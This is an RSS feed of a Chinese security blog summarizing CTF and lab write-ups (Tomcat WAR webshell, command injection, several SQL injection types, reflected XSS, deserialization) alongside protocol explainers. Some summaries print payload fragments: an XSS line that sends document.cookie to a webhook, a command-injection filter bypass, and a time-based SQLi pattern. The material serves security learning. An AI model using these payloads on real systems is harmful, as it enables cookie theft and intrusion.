<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Yan_chen666的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/Yan_chen666</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Yan_chen666]]></copyright><item><title><![CDATA[Vulhub 靶场：Tomcat8 弱口令与 WAR 包上传漏洞复现]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/164092344</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/164092344</guid><author>Yan_chen666</author><pubDate>Wed, 26 Aug 2026 16:57:06 +0800</pubDate><description><![CDATA[Vulhub 靶场里 Tomcat 以 root 运行（容器默认）。真实环境里 Java 应用常以专用低权限用户运行，但也不少仍以 root 跑。拿到 shell 后第一件事id确认权限。Tomcat 渗透核心三要素manager 弱口令（爆破或字典）WAR 包结构正确（entry 名 = 文件名）JSP 一句话木马完整的渗透链路信息收集 → 弱口令 → WebShell 上传 → RCE → 信息收集 → 横向移动学到的工具技能PowerShell 代理设置]]></description><category></category></item><item><title><![CDATA[[GXYCTF2019] PingPingPing 命令注入实操笔记]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163925409</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163925409</guid><author>Yan_chen666</author><pubDate>Thu, 20 Aug 2026 19:36:37 +0800</pubDate><description><![CDATA[[GXYCTF2019]Ping Ping Ping——命令注入经典入门，空格+flag关键字双重过滤。入口 ?ip= 拼系统命令，;ls 确认能塞命令。绕空格用 $IFS$9（bash 内部变量，比 ${IFS} 强在不含花括号）；绕关键字的关键是变量赋值只放不完整的一段——a=g;cat fla$a.php，shell 运行时才拼出 flag，PHP 黑名单查不到完整子串。报错信息是金矿："/f*ck your flag/symbol"直接告诉你拦的是哪类。]]></description><category></category></item><item><title><![CDATA[强网杯2019_随便注_SQL注入实操]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163858340</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163858340</guid><author>Yan_chen666</author><pubDate>Tue, 18 Aug 2026 16:32:16 +0800</pubDate><description><![CDATA[[强网杯2019]随便注——经典入门题，核心考堆叠注入 + select 被过滤时的绕过。and/or 全被黑名单干掉，连 select、where、. 都进不了。先 show databases; 收集信息，发现可疑数字表 1919810931114514，反引号包裹才能查列名.]]></description><category></category></item><item><title><![CDATA[反序列化漏洞学习笔记]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163799662</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163799662</guid><author>Yan_chen666</author><pubDate>Sun, 16 Aug 2026 14:49:05 +0800</pubDate><description><![CDATA[反序列化漏洞——攻击者不用偷代码，而是直接伪造对象，让服务器自己触发危险逻辑。入口是 unserialize() 直接反序列化用户输入，终点是 __wakeup()/__destruct 等魔术方法里的敏感操作，核心是控制对象属性值绕过判断条件。POC 生成五步：抄源码类定义 → 分析 __wakeup 条件 → 用构造函数赋值 → serialize() 自动生成 → POST 提交。]]></description><category></category></item><item><title><![CDATA[博客搭建教程]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163761112</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163761112</guid><author>Yan_chen666</author><pubDate>Fri, 14 Aug 2026 18:55:42 +0800</pubDate><description><![CDATA[GitHub Pages + Hexo 博客搭建——零成本拥有个人网站，写 Markdown 就能自动变网页。核心链路：写 Markdown → Hexo 生成静态网页 → 推到 GitHub → 自动托管成 用户名.github.io。]]></description><category></category></item><item><title><![CDATA[CTFHub SQL 时间盲注实战攻略]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163751784</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163751784</guid><author>Yan_chen666</author><pubDate>Fri, 14 Aug 2026 13:09:32 +0800</pubDate><description><![CDATA[时间盲注——SQL 注入的"最后一条路"，当页面连真假响应都没有时，就靠 SLEEP()制造时间差把数据"问"出来。核心公式：AND IF(条件, SLEEP(2), 0)，条件为真拖慢页面，为假正常返回，延迟就是"真"的信号。]]></description><category></category></item><item><title><![CDATA[本地网安AI助手搭建]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163732245</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163732245</guid><author>Yan_chen666</author><pubDate>Thu, 13 Aug 2026 18:50:41 +0800</pubDate><description><![CDATA[自己搭一个网安 AI 助手要几步？这篇实操笔记从 AMD 云（MI300X 192GB）到本地 RTX 5060，把代码审计、渗透报告、Payload 生成、知识库问答四大功能全部跑通。核心思路一句话：云上验证流程，本地正式使用，敏感数据不出门。]]></description><category></category></item><item><title><![CDATA[CTFHub XSS反射型实战攻略]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163705675</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163705675</guid><author>Yan_chen666</author><pubDate>Wed, 12 Aug 2026 21:05:07 +0800</pubDate><description><![CDATA[XSS 不是炸数据库，是"借别人的浏览器跑你的 JS"——flag 在 Bot 的 Cookie 里，得让它帮你发出来。反射型 payload 在 URL 里，不存库，点链接才触发。核心公式：<img src=x onerror="location='webhook?c='+document.cookie">，用事件处理器绕过 <script> 过滤，URL 编码防 & 和 + 拧断 payload。读不到 Cookie 查 HttpOnly，必要时换 fetch 外带源码。一句话：让目标浏览器替你开口。]]></description><category></category></item><item><title><![CDATA[RDP - Windows 远程桌面协议]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163694612</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163694612</guid><author>Yan_chen666</author><pubDate>Wed, 12 Aug 2026 12:09:10 +0800</pubDate><description><![CDATA[RDP——Windows 远程办公的"命脉"协议，一文讲透它的全貌：从多通道虚拟化架构、X.224 连接握手流程、安全演进（RC4→TLS→CredSSP NLA），到图形编码迭代（NSCodec→RemoteFX→H.264→H.265）、外设重定向、RD Gateway 内网穿透方案，以及 BlueKeep 漏洞、暴力破解、会话劫持三大攻击面的完整防御指南。NLA 强制开启 + 3389 限制暴露 + 补丁及时更新，三条原则防住绝大多数 RDP 威胁。]]></description><category></category></item><item><title><![CDATA[CTFHub SQL 布尔盲注实战攻略]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163592427</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163592427</guid><author>Yan_chen666</author><pubDate>Sat, 08 Aug 2026 16:55:11 +0800</pubDate><description><![CDATA[页面什么都不打印，连报错都没有，还能拿数据吗？能——布尔盲注靠的就是"条件真假"这一个信号，把数据一位一位"问"出来。原理是把要查的数据变成 WHERE 条件的一部分：猜对了 ASCII 码，页面返回 success；猜错了，返回 error。一篇讲透布尔盲注核心原理（substr + ascii + limit 三函数拆解）、从零拼 payload 方法论、Python 脚本配合二分法（每字符最多 7 次请求、224 次拿完整 flag）、以及 UNION/报错/布尔/时间四种注入的适用场景对比。有回显走]]></description><category></category></item><item><title><![CDATA[CTFHub SQL 报错注入实战攻略]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163568196</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163568196</guid><author>Yan_chen666</author><pubDate>Fri, 07 Aug 2026 16:28:43 +0800</pubDate><description><![CDATA[页面不显示查询结果，不代表没门——报错注入让 MySQL 自己把数据"喷"出来。核心原理是利用 extractvalue() 的 XPath 报错机制，把要查的数据塞进报错信息里：查数据 → 塞进报错函数 → 报错信息把数据吐出来。文章附固定万能外壳模板，五步拿 flag，还对比了报错注入和 UNION 注入的适用场景（前者不需要探列数和显示位，比 UNION 更简单）、32字符截断的应对方法、以及 updatexml 作为备选函数。CTF 报错注入，一篇就够用。]]></description><category></category></item><item><title><![CDATA[CTFHub SQL 注入：从整数型到字符型，手把手弄懂 union 注入原理]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163563402</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163563402</guid><author>Yan_chen666</author><pubDate>Fri, 07 Aug 2026 13:44:44 +0800</pubDate><description><![CDATA[SQL 注入是 Web 安全的"万恶之源"，但很多人只会背 payload，换个题就傻眼。这篇从 CTFHub 两道 injection 入手，把"为什么这样写"讲透：注入的本质是续写 SQL而非传参数、ORDER BY 探列数的底层原理、UNION 找到显示位的逻辑、information_schema 四步掏数据的链路。还附了整数型和字符型(payload 只差一个单引号)、常见 WAF 变形、以及最重要的七步从零拼 payload 心法。背模板做 CTF 是一时，弄懂原理才能举一反三。]]></description><category></category></item><item><title><![CDATA[CTFHub Web前置技能闯关]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163544862</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163544862</guid><author>Yan_chen666</author><pubDate>Fri, 07 Aug 2026 00:09:25 +0800</pubDate><description><![CDATA[CTFHub Web 前置技能五道小题，做完五分钟，但每个都是渗透测试里最实用的基础直觉：换请求方法打隐藏接口、关掉重定向跟随看原始响应、翻 Cookie 改权限标识越权、Base64 解码后爆弱口令、F12 看源码找藏起来的数据。文章按"怎么过 + 原理 + 实战什么时候用"三层来写，配完整工具流程和速查表。五个套路，一张表全收。做 CTF 是手段，练的是条件反射。]]></description><category></category></item><item><title><![CDATA[CTFHub Referer 注入实战：从卡壳到拿 flag 的一小时踩坑记录]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163540910</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163540910</guid><author>Yan_chen666</author><pubDate>Thu, 06 Aug 2026 18:00:01 +0800</pubDate><description><![CDATA[一道 Referer 注入 CTF 的完整踩坑记录！从用 Yakit fuzz 看不到 union 结果、到怀疑人生，再到发现两个致命惯性思维：用单引号（实际是数字型）、用 id=1（union 结果被原数据盖住）。文章还原了真实做题过程，附带四步拿 flag 全流程、Python 自动化脚本和防御修复代码。"想当然"才是这道题最大的坑。]]></description><category></category></item><item><title><![CDATA[SMB 与 CIFS 协议详解：Windows 文件共享的核心]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163506864</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163506864</guid><author>Yan_chen666</author><pubDate>Wed, 05 Aug 2026 15:36:36 +0800</pubDate><description><![CDATA[SMB——Windows 文件共享背后的核心协议，名字陌生，但你每天都在用它。本文从 SMB 版本演进（SMB1→SMB3）、端口区别（139 vs 445）、认证机制（NTLMv2/Kerberos）讲起，覆盖 Linux Samba 配置实战、加密与签名安全加固，以及 EternalBlue 等经典漏洞的防御。最后附上 SMB vs NFS vs FTP 选型对比，看完这篇，企业内网文件共享从配置到安全全掌握！]]></description><category></category></item><item><title><![CDATA[SMTP、POP3和IMAP协议]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163501002</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163501002</guid><author>Yan_chen666</author><pubDate>Wed, 05 Aug 2026 12:08:32 +0800</pubDate><description><![CDATA[一文讲清邮件系统的三大协议：SMTP 负责发送、POP3 下载到本地、IMAP 多设备同步。文章从协议原理到实战命令，附带完整端口对照表和主流邮箱配置，还解释了为什么国内邮箱默认关闭协议访问（安全、防垃圾邮件、合规）。看完这篇，邮件客户端配置不再手忙脚乱！]]></description><category></category></item><item><title><![CDATA[FTP、FTPS和SFTP协议]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163483465</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163483465</guid><author>Yan_chen666</author><pubDate>Wed, 05 Aug 2026 09:50:27 +0800</pubDate><description><![CDATA[一文搞懂 FTP、FTPS、SFTP 三个协议的区别！名字只差一个字母，底层原理却天差地别——FTP 明文裸奔、FTPS 打补丁加密、SFTP 另起炉灶走 SSH 安全通道。看完这篇，彻底告别协议选型焦虑。]]></description><category></category></item><item><title><![CDATA[SSH（Secure Shell）安全外壳协议详解]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163477925</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163477925</guid><author>Yan_chen666</author><pubDate>Tue, 04 Aug 2026 17:07:37 +0800</pubDate><description><![CDATA[SSH（Secure Shell）是 Linux 服务器管理的标准入口，相比明文传输的 Telnet，它通过全程加密彻底杜绝了账号密码被窃取的风险。SSH-2 是目前唯一可靠版本，支持 Ed25519、ECDSA 等现代加密算法。
SSH 的精妙之处在于密码学的分工协作：非对称加密（Diffie-Hellman 密钥交换）让双方"隔空"生成相同的会话密钥，对称加密（ChaCha20、AES）负责实际数据传输——各取所长，效率与安全兼顾。]]></description><category></category></item><item><title><![CDATA[一文搞懂 DNS 协议：从“网址“到“IP“的寻址之旅]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163476772</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163476772</guid><author>Yan_chen666</author><pubDate>Tue, 04 Aug 2026 16:28:11 +0800</pubDate><description><![CDATA[输入 www.baidu.com 背后 DNS 到底干了什么？这篇文章把 DNS 从零拆透：域名树结构（为什么网址"由细到粗"和门牌号反着）、四类服务器各管什么（13组根≠13台机器的含义）、递归与迭代的真实分布（主机对本地递归，本地对上迭代）、报文首部12字节逐bit拆解（RD/RA/AA/TC四个易混位+抓包对照）、10种记录类型用途。]]></description><category></category></item><item><title><![CDATA[网络安全工程师必学协议清单]]></title><link>https://blog.youkuaiyun.com/Yan_chen666/article/details/163409327</link><guid>https://blog.youkuaiyun.com/Yan_chen666/article/details/163409327</guid><author>Yan_chen666</author><pubDate>Sun, 02 Aug 2026 10:03:19 +0800</pubDate><description><![CDATA[网络安全工程师核心协议指南摘要 本文为网络安全工程师系统梳理了必学的核心网络协议知识体系，涵盖Web安全、内网渗透等多个方向。每类协议均详解了端口、加密方式、典型攻击场景、安全加固要点及常用测试工具（如Burp Suite、Wireshark等）。该指南适合渗透测试、安全运维人员构建完整的协议安全知识体系，也是备考主流安全认证的重要参考资料。]]></description><category></category></item></channel></rss>